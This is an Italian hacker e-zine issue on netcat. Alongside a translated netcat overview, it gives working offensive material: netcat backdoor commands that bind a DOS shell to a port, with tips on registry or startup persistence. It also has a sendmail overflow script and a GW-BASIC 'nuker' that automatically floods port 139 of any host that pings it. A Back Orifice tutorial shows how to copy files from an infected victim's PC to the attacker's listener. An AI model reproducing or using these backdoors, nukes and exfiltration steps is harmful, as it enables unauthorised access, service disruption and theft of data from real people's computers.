_______ __ __________ \ \ _____/ |\______ \__ __ ____ ____ ___________ ______ / | \_/ __ \ __\ _/ | \/ \ / \_/ __ \_ __ / ___/ / | \ ___/| | | | \ | / | \ | \ ___/| | \|___ \ \____|__ /\___ >__| |____|_ /____/|___| /___| /\___ >__| /____ > \/ \/ \/ \/ \/ \/ \/® -------------------------------------------------------------------------- FrOm Spp to tHe NeT NumEro tRE -------------------------------------------------------------------------- Sommario: --------- Facciamo due chiacchere By ChRoMe Netcat 1.10 Panoramica By Brigante Un Primo orientamento sul netcat By Buttha Un NUker in GWbasic che sfrutta il NetCat By Master Download e upload di files usando il Boserve in concomitanza con il NetCat By ChRoMe *************************************************************************************** Facciamo due chiacchere ----------------------- By ChRoMe Bene bene bene,arieccoci con il NetRunners n°tRE. Per prima cosa facciamo due chiacchere sulla triste storia dell'abbandono del ng da parte di quasi tutti gli SPP. Premetto che non ce stato nessun tacito accordo tra gli SPP,il mio post di abbandono e' scaturito solo ed esclusivamente da una mia decisione,peraltro condivisa dalla maggior parte degli altri SPP,dopo aver constatato che l'atmosfera del ng...era diventata veramente insopportabile. Detto questo,ci rimane poco da dire,so che il ng e' stato tolto dal server Tin,e la situazione sembra essere caduta nella desolazione...ma state tranquilli,qualcuno lo riattivera'...e ricominceranno i msg. Per ora,che io sappia,non ce' intenzione da parte del gruppo di ritornare su ahccc...ma mai dire mai.... Vi faro sapere. Un'altra e zine ,un po caotica (ma e' il loro primo numero) a dire la verita',e' uscita. Si chiama NEWBIES,e' curata da N0b0dy e Zero Cool,due amici,nel primo numero ce anche un'articolo del "nostro" RigoR MorteM...l'url da dove scaricarla e' http://members.it.tripod.de/ZeroCool/rivista.htm Dateli un 0kkio,ci sono cose interessanti,e sul numero due,ci saranno altre cose molto interessanti. Mmmhhhh...questo numero di NetRunners...dovreste gia' trovarlo via web,un grazie a RigoR e Teresa per la costruzione della pagina web che ospitera la rivista. L'url (so che se leggete questa lo sapete gia',ma lo faccio per chi ha bekkato la e-zine tramite canali "paralleli") e' questo: http://members.tripod.com/~teresacanis/ premete enter e vi apparira tutto il grande lavoro in dhtml che ha svolto il nostro buon RigoR,nella fantastica cornice grafica del mio Tesorino Teresa...hehehehehehe Trovate i nuovi numeri nella sezione zip...... Ah.la ml..per il netrunners..la disattivero'..mandando un msg a chi si era gia' iscritto,e postandoli l'url da dove scaricare la e-zine. Stiamo lavorando ad un progetto per IRC..ma per ora non vi dico altro,anche xche' non vorrei che poi anche l'eventuale canale,diventasse meta di rompipalle ,come sul ng. Per questo ringrazio il Mitico TheDuke,Darkman,ErGoline,Ramsesse...e tutti gli altri che si sono interessati al progetto. Bene..in questo numero,un po monotematico,affronteremo i vari segreti di NetCat. Il Brigante ci spieghera' cosa e' realmente il netcat,Buttha ci fara'un panoramica sui comandi,con vari esempi,Master (Lui.come lo chiama Harlock...hehehehe)ci insegna un divertente nuker in gwbasic,sfruttando le potenzialita' di NC,infine come promesso io vi do' delle dritte di come fare download e upload con un boservizzato,ancora sfruttando il NC. Una nota di colore.....visto che molti (e non faccio nomi..hihihih)mi hanno detto che il netcat non funziona....sappiate che deve essere in esecuzione su entrambe i pc..heheheheheheh.per poter dialogare. Per il resto.mi sembra non ci sia molto da dire,come al solito vi esorto a farci pervenire commenti,critiche....etc etc..se avete delle domanda,se vorreste vedere trattato un argomento in particolare....scrivete,scrivete ,scrivete....tanto non so' leggere...hihihihihihih Okkey.allora,sigarettina,relax e leggetevi questo numero......... P.S. Quasi dimenticavo Per Fritz --------- Ho messo una routine in questo numero,che quando leggerai la 17 riga del 2 articolo.... ti kikkera in automatico,facendoti uno shoutDown del pc....hihihihihihih Ciao Fritz.lo sai che scherzo. P.P.S.S. Un saluto particolare a Jam,e spero che il dente del giudizio non ti dia piu'problemi.....ora che te lo ho craKKato...hihihihihihihihi Aspetta che le orde barbariche calino sul tuo antro.hihihihihih Ciao a tutti alla proxyma ChRoMe SPP MemBer _#_ Netcat 1.10 Panoramica ----------- by Brigante SPP MembEr Traduzione dal THE DEFCON RELEASE 7/26/96 Il Netcat è una semplice utility Unix che legge e scrive i dati lungo le connessioni di rete, usando il protocollo TCP o UDP. E' stao progettato per essere un tool affidabile che può essere usato direttamente o facilmente pilotato da altri programmi e scripts. Allo stesso tempo, ha delle funzioni di network debugging e di esplorazione della rete, per cui può creare ogni tipo di connessione di cui si può aver bisogno e ha molteplici funzioni incluse. Il Netcat, o "nc" come è chiamato ora, è stato distribuito per lungo tempo come un tool standar di Unix, pur sapendo che è destinato ad applicazioni critiche. Nel suo utilizzo più semplice, "nc host port" crea una connessione TCP alla porta designata dell'Host scelto da noi. Il nostro input standard è quindi inviato all'Host, ed ogni cosa che ritorna indietro attraverso la connessione è inviata al nostro output standard. Questo continua all'infinito, finchè l'altra parte non chiude la connessione. Notare che questo comportamento è differente rispetto a quello di molte altre applicazioni che chiudono ogni cosa ed escono dal sistema dopo aver ricevuto un end-of-file come input standard. Netcat può anche funzionare come un server, ascoltando le connessioni non autorizzate e leggendo e scrivendo su di esse. Con alcune limitazioni, netcat non fa differenza se gira in modo "client" o "server". Continua a monitorare i dati finchè ce ne sono. In ogni modo, lo spegnimento può essere causato dopo un configurabile periodo di inattività da parte dell'Host. E può fare tutto questo anche attraverso l'UDP. UDP, come indica la "U", dà una connessione meno affidabile rispetto al TCP e alcuni sistemi potrebbero avere dei problemi a inviare una grande quantità di dati per questa via, ma comunque è un'ulteriore facoltà del netcat. Potreste chiedervi :"Perchè non usare semplicemente telnet per connettersi arbitrariamente alle porte?" . La domanda è valida, ed ecco le ragioni. Il telnet ha il problema dello "standard input EOF", così che uno può introdurre delle pause calcolate in particolari script per far sì che l'output della rete termini. Questa è la ragione principale....netcat continua a essere attivo finchè l'altra parte della rete non chiude la connessione. Telnet inoltre non trasferisce i dati binari arbitrari, perchè alcuni caratteri sono interpretati come opzioni del telnet e sono rimossi dal flusso dei dati. Telnet inoltre emette alcuni dei suoi messaggi di diagnostica verso l'output standard, laddove netcat invece tiene religiosamente separato l'output standard dal proprio output, e non modifica alcun dato in transito a meno che non lo si voglia espressamente. E naturalmente telnet non può ascoltare le connessioni non consentite, o usare l'UDP. Netcat non ha alcuna di dette limitazioni, è più piccolo e più veloce del telnet ed ha molti altri vantaggi. ALcune delle principali caratteristiche del Netcat sono: 1) Connessioni non autorizzate verso l'esterno o verso l'interno, TCP o UDP, da o verso qualsiasi porta 2) Controllo completo del DNS forward/reverse, con avvisi appropriati 3) Capacità di usare ogni porta sorgente locale 4) Capacità di usare ogni indirizzo sorgente della rete localmente configurato 5) Port scanner incluso, con randomizer 6) Inclusa capacità di allentare il routing sorgente 7) Possibilità di leggere gli argomenti della linea di comando provenienti da un input standard 8) Modo slow-send, una linea ogni N secondi 9) Hex dump dei dati trasmessi e ricevuti 10) Facoltà opzionale di lasciare ad un altro programma il compito di controllare la connessione 11) Risponditore con funzioni telnet opzionale Esplorazione delle funzioni del netcat Da dove cominciare? Netcat è allo stesso tempo così semplice e versatile, che è come provare a descrivere tutto quello che si può fare con un coltellino svizzero. Se non sono dati comandi, netcat li richiede, leggendoli da una linea di input standard, e li include nella lista dei comandi interna. Ciò può risultare utile quando di comanda netcat attraverso certi script, con il risultato di nascondere i propri comandi personalizzati dalla pubblica visione. L'host può essere un nome o un indirizzo IP. Se è specificato -n, netcat accetterà solo IP numerici, e non farà alcuna ricerca del DNS. Se non è dato il parametro -n, ma è dato -v, netcat farà anche una ricerca del suffisso DNS, e vi avviserà nel caso dovesse incontrare dei problemi. Questo spesso allunga la connessione si un pò, ma dà comunque informazioni utili. Ci sono ipotesi in cui questa opzione vi può far addirittura risparmiare del tempo, come ad es. quando volete conoscere il nome di alcuni indirizzi IP e collegarvi agli stessi. Netcat vi sirà tutto riguardo essi, salvando i passaggi occorsi per risolvere l'hostname in modo da renderli case-sensitive, il che alcune volte può essere utile per scoprire alcuni errori minori nei propri file DNS che assillano la propria rete. Una indicazione di porta è necessaria per delle connessioni outbound, e può essere numerica o un nome a seconda di come è elencata in /etc/services. Se -n è specificato, solo gli argomenti numerici sono validi. Sintassi speciali e/o argomenti riguardanti più di una porta possono causare dei comportamenti diversi. L'opzione -v controlla il livello di tempo dei messaggi inviati verso lo standard error. Probabilmente eseguirete netcat il più delle volte con l'opzione -v attiva, così da poter avere informazioni sulla connessione che si sta provando a fare. Ma alle volte preferirete anche dare un argomento -w, che limita il tempo speso a cercare di stabilire una connessione. Io uso spesso "nc -v -w 3", che fa in pratica le stesse funzioni del telnet. Il timeout è facilmente modificabile tramite un argomento susseguente il -w che riscrive l'ultimo intervallo di tempo dato. Specificare il -v più di una volta dà un output di diagnostica più completo. Se -v non è specificato per niente, netcat continua silenziosamente a fare il suo lavoro finchè non incorre in qualche errore, dopodichè descrive l'errore ed esce dando un nonzero status. Le connessioni di rete rifiutate non sono generalmente considerate errori, a meno che non abbiate richiesto solo una singola porta TCP ed essa vi abbia rifiutato. Notare che -w determina anche il timeout di inattività della rete. Questo non ha alcun effetto finchè non chiude l'input standard, ma da quel momento se non arriva niente nei prossimi secondi, netcat proverà a leggere la rete ancora una volta per una essere sicuro, dopodichè si chiuderà ed uscirà. Ci sono molti servizi di rete ora che accettano una piccola quantità di input e rispondono son una grossa quantità di output, come i server Web o Gopher, che è la ragione principale per cui netcat è stato progettato per cessare di restare aperto sulla rete oltre l'input standard. Le connessioni UDP sono aperte al posto di quelle TCP quando è specificato -u. Netcat usa internamente il meccanismo "connected UDP socket" che è supportato da molti kernel. Sebbene netcat richieda che una connessione uscente UDP sia aperta immediatamente, non sono inviati dati finchè non è letto qualcosa dall'input standard. Solo da allora in poi è possibile determinare quando c'è veramente un server UDP all'altra parte, e spesso non è facile dirlo. Molti protocolli UDP usano timeouts e retries per fare le loro cose e in molti casi non si preoccupano per nulla di rispondere, così voi dovete specificare un timeout e sperare che vada bene. Otterrete molto da una connessione UDP se l'input standard è nutrito da una sorgente di dati che sembrano vari tipi di richieste da parte del server. Per ottenere un hex dump dei data inviati dall'una o dall'altra parte, usate "-o logfile". La linea comincierà con "<" o con ">" per indicare rispettivamente "Dalla rete" o "Verso la rete", e contiene in conto totale per direzione, e la rappresentazione esadecimale ed ASCII del traffico. Catturare un hex dump solitamente rallenta il netcat, per questo motivo non è consigliabile usarlo quando la velocità è critica. Netcat si può legare a qualsiasi porta, soggetto alle restrizioni dei privilegi e alle porte che sono già in uso. E' anche possibile usare uno specifico indirizzo sorgente di rete locale. [Notare che questo non funziona su tutte le piattaforme]. Usare "-p n° di porta" per agganciarsi a una porta locale specifica, e "-s indirizzo IP" o "-s nome dell'Host" per far si che siano il vostro indirizzo IP sorgente. Questo è spesso chiamato "ancoraggio del socket". Chi ha i privilegi di root può agganciare qualunque porta sorgente incluse quelle "riservate" inferiori alla 1024. L'assenza di -p vi farà legare a qualunque porta non usata che il sistema vi indicherà, come una qualsiasi altra connessione client, a meno che non usiate l'opzione -r. Il modo di ascolto farà sì che netcat attenda una connessione inbound, e allora inizierà il trasferimento degli stessi dati. Potete fare questo scrivendo "nc -l -p 1234 e ci si collega all'host e alla porta . potra' essere specificata come un numero o come un nome (nome di quelli presenti in /etc/services o in \windows\services). Il proprio standard input viene mandato a : e le risposte dell'host vengono mandate al proprio standard output. *) nc -u telnet in modalita' UDP *) nc -t si preoccupa di rispondere a negoziazioni con telnetd, prevenendo l'invio di informazioni extra sul proprio conto: ci possono essere demoni che provano a chiedere cose come USER e variabili d'ambiente TERM, e questi demoni non verranno accontentati. Cosi' si evita di fare una connessione con il proprio vero username. *) nc -n l'opzione -n permette di specificare l'IP: netcat non utilizza il DNS. La porta dovra' essere specifica in modo numerico, vista la presenza di -n. *) nc -v utilizza il DNS e visualizza tutti i problemi riscontrati con quest'ultimo *) nc -o file.txt salva tutto cio' che e' stato inviato o ricevuto nel file.txt in formato esadecimale e ASCII. Le linee che iniziano con < indicano che i dati sono stati ricevuti dall'host, mentre le linee che cominciano con > indicano i dati che sono stati spediti all'host. NETCAT IN ASCOLTO ----------------- *) nc -l -p Ascolta cio' che arriva alla porta e lo visualizza. Per una visualizzazione piu' dettagliata, utilizzare i modi verbose. Una volta che la comunicazione viene chiusa da chi si e' collegato a tale porta, nc termina. *) nc -L -p Come prima, solo che, una volta che il primo collegamento a termina, netcat si rimette in ascolto. *) nc -L -p < file.txt quando uno si collega a , netcat invia i dati contenuti in file.txt a chi ha effettuato il collegamento *) nc -L -p > file.txt ascolta e salva il traffico in file.txt *) nc -L -p > file.txt -d ascolta e salva cio' che viene inviato a quella porta. Nc, in questo caso, lavora in background. *) esempio: nc -L -p 12345 -v > netbus.txt -d cioe' un bel file con una raccolta di sventurati :) NETCAT IN TRASMISSIONE ---------------------- *) nc < pippo.com Spedisce il file pippo.com all'indirizzo IP:porta. Se il computer che corrisponde al destinatario esegue un nc -l -p > pluto.com allora riceve il file pippo.com e lo salva con il nome pluto.com *) nc < script.txt si collega all'host, facendo una sessione telnet "guidata" dal contenuto del file script.txt. L'host puo' essere un server SMTP, un news server, un web server, ecc... Esempio: siete stufi di mandare in overflow il vostro sendmail preferito? **file script.txt HELO xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx MAIL FROM: mah@boh.net RCPT TO: quelo@star.net DATA questa e' una mail di prova, inviata da mah@boh.net a quelo@star.net, perche' mah c'aveva grossa crisi . **fine file e facciamo un bel nc 25 < script.txt otteniamo l'invio della mail. *) nc 139 < nuke.txt mah! IL DISCORSO DELLE PRIORITA' -------------------------- Quale e' la differenza tra un nc -L -p 25 -v e un nc -L -p 25 -n -s ? La differenza e' che il primo comando fa un bind di tipo "any" alla porta 25, mentre il secondo specifica un IP preciso della proprio macchina (per es. l'indirizzo ethernet della propria macchina). Questo da, al secondo netcat, una priorita' maggiore rispetto al primo: una connessione sulla porta 25 verra' gestita in maniera esclusiva dal netcat con l'opzione -s. Provate a fare un esperimento: da una shell dos inserite il primo comando: nc -L -p 25 -v; da un'altra shell il secondo: nc -L -p 25 -v -n -s 127.0.0.1 ; ed, infine, da una terza shell fate un bel: nc 127.0.0.1 25 e scrivete qualche cosa, seguita da invio. Vedrete che e' il secondo netcat quello che riceve il tutto, mentre il primo non si accorge di nulla. Vi dice qualcosa? Due cose: massima priorita' e ricezione dei dati in esclusiva. E' il modo per sostituirsi a certi servizi in ascolto su determinate porte. Supponiamo, per es, di essere in una rete locale, e il pc sul quale lavoriamo utilizza netbios. Netbios e' un'altro servizio che fa un bind di tipo "any". Se noi facciamo un nc -L -p 139 -n -s xxx.xxx.xxx -e programma.exe (dove xxx.xxx.xxx e' un indirizzo della macchina), allora scavalchiamo di fatto netbios, e qualsiasi connessione alla nostra macchina, sulla porta 139, mandera' in esecuzione programma.exe Un possibile utilizzo dell'opzione -s potrebbe essere per il server X di Linux: X fa un bind di tipo "any" sulla porta 6000 e con netcat possiamo monitorare i tentativi di connessione alla nostra porta 6000, sostituendoci al server X in ascolto. NETCAT COME BACKDOOR -------------------- *) nc -L -p -e path\programma.exe -d netcat aspetta una connessione su . Quando essa avviene, esegue programma.exe *) nc -L -p -e path\programma.exe -u -d utilizza il protocollo UDP *) Esempio innocente ;) nc -L -p 3333 -e c:\command.com -d e ora collegatevi con il telnet :) Personalmente, se mi collego con nc 127.0.0.1 3333 ottengo la shell, ma non risponde ai comandi. Problema che non si verifica se utilizzo telnet. Non ho mai provato, ma credo di possa mettere un richiamo a netcat nel registry... ;-)) ...o in winstart.bat... o in qualche ini... insomma, c'e' l'imbarazzo della scelta. Per macchine sotto firewall, bisogna utilizzare le porte lasciate aperte dal firewall stesso (per es. la 53). Per avere una sicurezza maggiore, si potrebbe fare una cosa del tipo: nc -L -p -e c:\path\login.exe -d dove login e' un programma che chiede una password e poi lancia la shell. NETCAT COME PORT SCANNER ------------------------ *) nc - -v fa uno scanning del range indicato. E' possibile indicare piu' range: esempio: nc 80-140 1024-1050 -v *) nc 80-140 -v -i 3 aspetta 3 secondi tra una porta e l'altra *) nc 80-140 -v -z il parametro -z manda il minor numero di dati possibile. Utile per scanning veloci, per sapere solamente che porte sono aperte *) nc 80-140 -v -r le porte vengono scannate seguendo un ordinamento casuale, e anche le nostre porte locali utilizzate per lo scanning vengono scelte in modo casuale. Questo evita di mostrare un pattern regolare nello scanning. STUDIO DI UN HOST ----------------- Vista la possibilita' di usare pipe, l'utilizzo di netcat in Linux diventa piu' flessibile. Vediamo qualche esempio, tratto dalla guida di netcat: *) echo QUIT | nc -v -w 5 20-250 500-600 5990-7000 per ogni porta indicata, echo manda la parola 'QUIT' a tale porta e, con l'opzione -w 5, sta ad aspettare la risposta. Qualora ci sia qualche server sulla macchina, esso rispondera' con qualche messaggio di errore o qualche saluto, dandoci informazioni, magari, su che tipo di servizio siamo incappati e la sua versione. Questa e' la stessa tecnica usata da SATAN. La stessa cosa puo' essere ottenuta da windows nel seguente modo: create un file di testo che contenga la parola QUIT, e salvatelo. Ora fate un: nc -v -w 5 20-250 500-600 5990-7000 < nomefile.txt UTILIZZO DELLE PIPE ------------------- *) nc -l -p 1234 | uncompress -c | tar xvfp - e, sull'altro pc: tar cfp - /some/dir | compress -c | nc -w 3 primopc 1234 il secondo comando comprime una directory e invia il risultato attraverso netcat. Il primo riceve il malloppo e scomprime. Risultato: directory trasferita da un pc all'altro. PERSONALIZZARE TELNET IN LINUX ------------------------------ Supponiamo che proprio vogliamo utilizzare telnet, ma ci farebbe comodo qualche opzione di netcat. Allora creiamo uno script "telcat" :) #! /bin/sh exec nc -opzioni_desiderate mandiamo in esecuzione un: nc -l -p -e telcat localhost & ed infine: telnet localhost il telnet si colleghera' all'host, grazie alla gentile intercessione di netcat, usando le opzioni specificate nello script. Nota: tra le opzioni non ci deve essere -t, altrimenti ci saranno due risposte alle negoziazioni VARIE ED EVENTUALI ------------------ Con questa mini guida, non ho minimamente esaurito quello che si puo' dire su netcat: ho introdotto l'argomento. Ne sono un esempio le opzioni -g e -G... Sulla distribuzione di nc per Linux sono, inoltre, presenti degli script di esempio che permettono un uso ancor piu' proficuo di questo semplice comando. Per intenderci: netcat puo' essere usato per provare a creare un traffico enorme su di una rete e metterla alla prova, oppure come generatore di un flusso di dati per testare dei servizi e la loro resistenza. Metterlo su di una macchina in rete, in ascolto, puo' essere un modo per offrire un servizio, da vari punti di vista: pensiamo ad una pagina web che abbia un puntatore all'indirizzo e alla porta della macchina sul quale gira netcat, macchina che puo' essere in qualsiasi punto della rete... Oppure pensiamo netcat come un modo di testare servizi sperimentali sulla propria Linux box: possiamo mandare in esecuzione determinati servizi senza andare a toccare inetd. Volendolo invece proprio toccare, questo inetd, e' possibile utilizzare netcat come redirector per qualsiasi servizio. Non resta che dare un consiglio: leggete il manuale accluso al programma e sperimentate. Buttha _#_ Un NUker in GWbasic che sfrutta il NetCat --------------------- By Master (questo e' un vecchio post di Master apparso su AHCCC quando ancora era un ng interessante.....) Allora vi pubblico un semplice programma per mandare le nuke a che effettua i ping sulla porta 31337 upd usando netcat e gwbasic. GWBASIC???? .. si gwbasic perche' questo vecchio interprete fritto e rifritto ha delle opzioni molto interessanti per il 'lavoro pratico'. Ad esempio crea linee differenziate di pipe e utilizza lo schermo come input, cosa che il c non fa se non con un prog apposito. Questo serve quando si fa girare un programma come netcat che annulla le pipe dos in quanto sfrutta gia una pipe-line sua di sistema. In risc-os e' possibile dire nc --qualcosa-- > testo1 & > testo2 .. in testo1 ci va il pipe di netcat e in testo2 l'output a schermo .. in dos non funziona purtroppo. In piu' il c essendo un linguaggio 'troppo' evoluto per i nostri scopi non blocca l'esecuzione di un prog durante lo svolgimento di una schell-dos (comodissimo in tutti gli altri casi ma qui no!) .. il povero gwbasic si in quanto il multitasking e la ricorsivita' non sa nemmeno cosa siano. ... visto che il c poi resta ostico a diversi mi sa che faccio felice almeno qualcuno! hi hi hi (Se a qualcuno interessa ho un compilatorino basic fatto da me che compila un file di testo con il programma all'interno facendolo sembrare poi un programma in c++ della Borland! ha ha ha .. cosi' uno puo' sempre far finta con gli amici di sapere il c++!!! ... si possono fare versioni che compilano in lisp, in prolog e anche in Aldebaran volendo! ;-)) ) allora il programma richiede ovviamente il gwbasic che penso si trovi facilmente, netcat e un file di testo chiamato nuke.dat da mettere tutti nella stessa dir. All'interno del file nuke.dat va scritto del testo .. e' la nuke da mandare sulla porta 139. Potrebbe contenere questo ad esempio : File nuke.dat inizio ------------------------------------------------------------------- Prima di ripingarmi sulla 31337 la prossima volta ci ripensi!! lamer, pisano!! [ tanto Batman e' in egitto!! hi hi hi] ... ricordarsi di finire sempre con almeno due righe vuote Fine ------------------------------------------------------------------- il programma e' questo qui: cosa fa' inanzitutto: semplicemente mette in ascolto netcat sulla porta upd 31337, quando riceve un ping crea un file con l'ip del pingatore e installa, sempre tramite netcat, un ciclo di nuke da spedire all'indirizzo IP trovato. Il tutto automaticamente; ovviamente lo fa una volta sola per un solo ping .. ma modificare il programma perche' dopo l'invio delle nuke si rimetta al lavoro e' una cosa banale!! INIZIO PROGRAMMA------------------------------------------------------- 10 SCREEN 0,0,0 20 CLS 30 LOCATE 1,1 31 rem ****** Legge dalla porta 31337 i ping e salva i caratteri 32 rem ****** inviati dal pingatore nel file texto.txt 40 SHELL("nc -u -l -p 31337 -v -w 1 > testo.txt") 50 DIM LEGGI$(20) 60 FOR N=1 TO 20 70 LEGGI$(N)="" 80 NEXT N 81 rem ****** Recupera dallo schermo il pipe primario di netcat 82 rem ****** a un secondo dalla fine eleborazione ( opz. -w 1 ) 83 rem ****** opzione necessaria perche' netcat non rida' 84 rem ****** automaticamente i comandi al dos. 90 FOR N=1 TO 20 100 FOR M=1 TO 80 110 LEGGI$(N)=LEGGI$(N)+CHR$(SCREEN(N,M)) 120 NEXT M 130 NEXT N 140 CLS 141 rem ******* Ricerca la linea di collegamento effettuato con 142 rem ******* i dati relativi all'opzione -v (verbose) 150 FOR N=1 TO 20 160 A=INSTR(1,LEGGI$(N),"from") 161 rem ******* Se la trova passa alle operazioni di attacco 170 IF A>3 THEN GOSUB 21 180 NEXT N 190 SYSTEM 200 END 201 rem ******* Ricava dalla riga screen-pipe l'IP del pingatore 210 INIZIO=INSTR(A,LEGGI$(N),"[") 220 FINE=INSTR(A,LEGGI$(N),"]") 230 IP$=MID$(LEGGI$(N),INIZIO+1,FINE-INIZIO-1) 231 rem ******* Lo salva nel file ipLAMER.txt (puo' sempre tornar utile!) 240 OPEN "ipLAMER.txt" FOR OUTPUT AS #1 250 PRINT #1,IP$ 260 CLOSE #1 261 rem ******* Invia ripetutamente una nuke di testo prelevata dal 262 rem ******* file nuke.dat sulla porta 139 netbios all'IP trovato 270 FOR J=1 TO 10 280 SHELL("nc -w 3 "+IP$+" 139 < nuke.dat") 290 NEXT J 291 rem ******* Lavoro finito! ;-) 300 RETURN FINE PROGRAMMA ----------------------------------------------------------------- _#_ Download di files usando il Boserve in concomitanza con il NetCat ----------------------------------- Testo originale by m0loch Tradotto e commentato by ChRoMe ----------------------------------- Come promesso nella prima parte del tutorial,oggi vi spieghero' come fare download e upload di files con i comandi tcpsend e tcprecv del Back Orifice,usando come supporto,il programma NetCat. Per quanto riguarda l'uso e le potenzialita' del NetCat,fate riferimento agli articoli che trovate su questo numero di NetRunners. ***NOTA*** Questo tutorial assume che abbiate installato il NetCat,in qualche cartella di facile accesso. In questo tutorial assumeremo che il netcat si trovi in C:\nc Se,per motivi vostri,avete il NetCat installato in un path diverso,tenetelo a mente,e comportatevi di conseguenza. Passo 1. Aprite una finestra dos (questo si fa' da avvio/programmi/ms-dos prompt,o se avete un collegamento sul desktop,direttamente clikkando su quello) Riceverete il prompt di dos c:\windows> Di seguito digitate : cd c:\nc (ricordate la nota sul path......) Passo 2. Prepariamo NetCat a ricevere un file. Per questo esempio useremo il file win.ini del pc "vittima" Per far si' che il NC (usero'l'abbreviazione di qui' in avanti) si prepari alla ricezione del file dovrete digitare: nc -l -p 666 > win.ini La riga di comando che avete appena digitato fa' questo: Chiama il programma netcat (nc) lo mette in ascolto (-l) su la porta (-p) 666 (666) Potete mettere una porta qualsiasi,la 666 e' solo d'esempio. Il segno > dice a nc che sta' per arrivare qualcosa su quella porta,(win.ini)specifica il nome del file che arrivera' da li'a poco. Dal prompt di dos dovreste vedere una riga di comando come questa: c:\nc>nc -l -p 666 > win.ini Passo 3. Comunicare al pc "vittima" che deve mandare il file (win.ini,per questo esempio)al vostro pc. Per fare questo dovrete avere un altra finestra dos attiva,da cui vi siete gia' connessi al pc vittima,tramite il comando host dove e' quello della vittima. Se siete gia' collegati al server del host,digitate: tcpsend c:\windows\win.ini 123.123.123.123:666 Mi sembra ovvio che al posto dell'ip 123.123.123.123 ci mettere l'ip del vostro boservizzato. La porta (in questo caso 666) deve essere TASSATIVAMENTE la stessa sia sul remoto che sul locale,pena il totale NON funzionamento del giochino. ***NOTA*** Tutti sappiamo che il win.ini si trova in C:\windows.... Se volete scaricare un foto gnocca.jpg che si trova nel hard disk d:\ nella dir \GRAFICA\bionde\topone\ la riga di comando sara': tcpsend d:\GRAFICA\bionde\topone\gnocca.jpg 123.123.123.123:666 Se tutto funziona,riceverete una risposta dal boclient,come questa: sending c:\windows\win.ini vostro ip:port con il vostro vero ip,e la porta 666(se avete settato questa come da esempio) Passo 4. La cosa importante,adesso,sarebbe poter monitorare il trasferimento del file,al fine di sapere quando sara' terminata la trasmissione. Sfortunatamente,al momento che sto' traducendo questo tutorial,non sono a conoscienza di una tecnica per farlo,aspetto degli input da qualcuno che ha trovato il sistema. Sicuramente i files piccoli,saranno molto piu' facili e veloci da trasferire,che i files di grosse dimensioni. Ad ogni modo,la maniera(pecoreccia)che uso per farmi un'idea delle stato del trasferimento del file,e'di vedere l'attivita' del modem,quando questo stara' per un po' di tempo fermo,generalmente,il file sara' arrivato sano e salvo a destinazione. Quando sarete "abbastanza"certi dell'avvenuto download ,andate nella finestra dos dove il NC sta' lavorando,rendetela attiva,e premete ctrl-c,questo comando interrompe la connessione tcp tra il vostro pc e l'ospite. Fatto questo,potete fare le dovute modifiche al file che avete appena scaricato,o guardarvelo solamente. ***NOTA*** Il file scaricato sara' salvato nella stessa cartella dove risiede il NC,a meno che non abbiate specificato un path diverso. Upload di files da un pc remoto (gia' infettato dal BO) usando il boclient e il NetCat ------------------------------- Anche per questo esempio fa' fede la nota per il downlod (c:\nc) In questo esempio,faremo l'upload di un file chiamato mypic.jpg Passo 1. Ripetere l'operazione descritta nel passo 1 per il download,aprite la finestra dos. Passo 2. Prepariamo il NC per spedire un file. Al prompt di dos digitiamo: nc -l -p 666 < mypic.jpg Come vi sarete accorti,lo spero..hihihihihi,l'unica cosa diversa dall'esempio del download,e' l'operatore <,infatti il segno < dice al NC che ha qualcosa da inviare,contrariamente al segno > che serve per metterlo in condizione di ricevere. ***NOTA*** Il file da inviare (nel nostro caso mypic.jpg)sara'nella directory dove risiede il NC,se cosi' non fosse,dovete specificare il path dopo il segno <. Passo 3. Preparare il pc ospite a ricevere il file da voi inviato(mypic.jpg). Andate nella finestra dos dove il bo client e' gia attivo,e collegato al pc remoto,e digitate: tcprecv c:\mypic.jpg 123.123.123.123:666 Come al solito,l'ip e' quello del vostro host e la porta deve essere la stessa su cui ascolta il NC. Date un bel enter,e se avete digitato tutto bene vi apparira' una risposta come questa: receiving c:\mypic.jpg :port Anche qui' valgono le considerazioni sul monitoraggio del trasferimento,uguali per il download. Bene,questo e' tutto,ringrazio m0loch per il testo originale,e chiunque voglia mandare ulteriori info sull' argomento. La mia e-mail e' execrew@bigfoot.com ChRoMe SPP MembER Per contattare direttamente l'autore di questo tutorial: web: http://maxcarnage.fsn.net email: m0loch@thor.prohosting.com _#_ This Is The End..My Only Friends,The End...... Netrunners numero tRE By SpiPPoLaToRi _FinE_